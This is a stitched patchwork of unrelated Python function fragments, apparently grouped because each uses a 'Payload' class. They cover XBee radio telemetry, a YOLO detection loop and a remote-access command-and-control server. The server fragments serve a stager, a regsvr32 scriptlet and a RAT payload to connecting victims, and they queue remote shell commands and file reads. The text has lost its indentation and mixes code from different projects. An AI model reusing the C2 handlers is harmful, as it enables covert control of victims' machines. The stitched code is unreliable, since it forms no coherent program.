def receive(self, packet):
self.last_packet = packet
pld = Payload(packet.get('rf_data'))
typeID = pld.type
data = pld.data
for callback in self.receive_callback:
callback(pld)
if typeID == cmd.TEST_ACCEL or typeID == cmd.TEST_GYRO:
print unpack('<3h', data)
elif typeID == cmd.TEST_DFLASH:
print ''.join(data)
elif typeID == cmd.TEST_BATT:
print unpack('2H', data)
elif typeID == cmd.TX_SAVED_DATA:
datum = list(unpack('<L3f3h2HB4H', data))
self.state_data.append(datum)
self.data_cnt += 1
if self.data_cnt % 100 == 0:
print self.data_cnt, "/", self.last_sample_count
elif typeID == cmd.GET_SAMPLE_COUNT:
self.last_sample_count = unpack('H', data)[0]
print('Last sample count %d' % self.last_sample_count)
elif typeID == cmd.GET_GYRO_CALIB_PARAM:
self.gyro_offsets = list(unpack('<fff', data))
print(self.gyro_offsets)
elif cmd.DATA_STREAMING:
if (len(data) == 35):
datum = list(unpack('<L3f3h2HB4H', data))
def detection_thread(self):
LOGGER.debug("Init NET CV")
# read pre-trained model and config file
net = cv2.dnn.readNet(config.YOLO_WEIGHTS, config.YOLO_CONFIG)
net.setPreferableBackend(cv2.dnn.DNN_BACKEND_OPENCV)
net.setPreferableTarget(cv2.dnn.DNN_TARGET_OPENCL)
scale = 0.00392
while self.threads["detect"]['running']:
payload = None
if self.cvframe is not None and self.cvframe.any():
blob = cv2.dnn.blobFromImage(self.cvframe,
scale, (416, 416), (0, 0, 0),
True,
crop=False)
width = self.cvframe.shape[1]
height = self.cvframe.shape[0]
net.setInput(blob)
outs = net.forward(get_output_layers(net))
class_ids = []
confidences = []
boxes = []
conf_threshold = 0.5
nms_threshold = 0.4
for out in outs:
for detection in out:
scores = detection[5:]
class_id = np.argmax(scores)
confidence = scores[class_id]
if confidence > 0.5:
center_x = int(detection[0] * width)
center_y = int(detection[1] * height)
# pylint: disable=invalid-name
w = int(detection[2] * width)
h = int(detection[3] * height)
x = center_x - w / 2
y = center_y - h / 2
class_ids.append(class_id)
confidences.append(float(confidence))
boxes.append([x, y, w, h])
indices = cv2.dnn.NMSBoxes(boxes, confidences,
conf_threshold, nms_threshold)
payload = Payload(indices, class_ids, confidences, boxes)
LOGGER.debug("detected: %s", len(indices))
self.queue.put(payload)
time.sleep(config.SLEEP_BETWEEN_DETECT)
def session_shell(self, *args, **kwargs):
if not args:
print('Unkown shell args')
return None
cmd = args[0].strip()
if 'pwd' == cmd:
cmd = r'echo %cd%'
self.JOBS['shell'] = Payload.payload_shell(jobID=1, cmd=cmd)
def write(self, data):
status = 0x00
type = 0x00
data_length = len(data)
start = 0
end = 80
while (data_length > 0):
if data_length > 80:
pld = Payload(''.join(data[start:start + 80]), status, type)
data_length -= 80
start += 80
else:
pld = Payload(''.join(data[start:len(data)]), status, type)
data_length = 0
self.xb.tx(dest_addr=self.dest_addr, data=str(pld))
time.sleep(0.05)
def do_GET(self):
context = b''
if self.path.startswith('/init'):
context = Payload.init(self.server.host, self.server.port)
print('\n[+]received {} client:{}'.format(
BOLD('INIT'), BOLD(self.client_address[0])))
elif self.path.startswith('/file.sct'):
context = Payload.regsvr(self.server.host, self.server.port)
print('\n[+]received {} client:{}'.format(
BOLD("REGSVR32"), BOLD(self.client_address[0])))
elif self.path == '/rat':
context = Payload.rat(self.server.host, self.server.port,
self.server.rc4_key, self.server.sleep_time)
self.server.shell.prompt_msg = '{} >'.format(
self.client_address[0])
print('\n[+]received {} client:{}'.format(
BOLD('RAT'), BOLD(self.client_address[0])))
self.__to_reply(200, context)
def read(self, length=0):
packet = self.xb.wait_read_frame()
pld = Payload(packet.get('rf_data'))
#rssi = ord(packet.get('rssi'))
#(src_addr, ) = unpack('H', packet.get('source_addr'))
#id = packet.get('id')
#options = ord(packet.get('options'))
status = pld.status
type = pld.type
data = pld.data
if length == 0:
return data
else:
return data[:min(length, len(data))]
def show_info(self, *args):
payload = Payload.payload_info(jobID=1)
self.JOBS['info'] = payload
def job_init(self, sessionid):
payload = Payload.payload_info(jobID=1)
return payload
def session_init(self, *args, **kwargs):
self.SESSIONS.append(kwargs['sessionID'])
#print(kwargs['sessionID'], kwargs['job_response'])
payload = Payload.payload_info(jobID=1)
return payload
def session_cat(self, *args, **kwargs):
if not args:
print('Special filename')
return None
self.JOBS['cat'] = Payload.payload_cat(jobID=1, filename=args[0])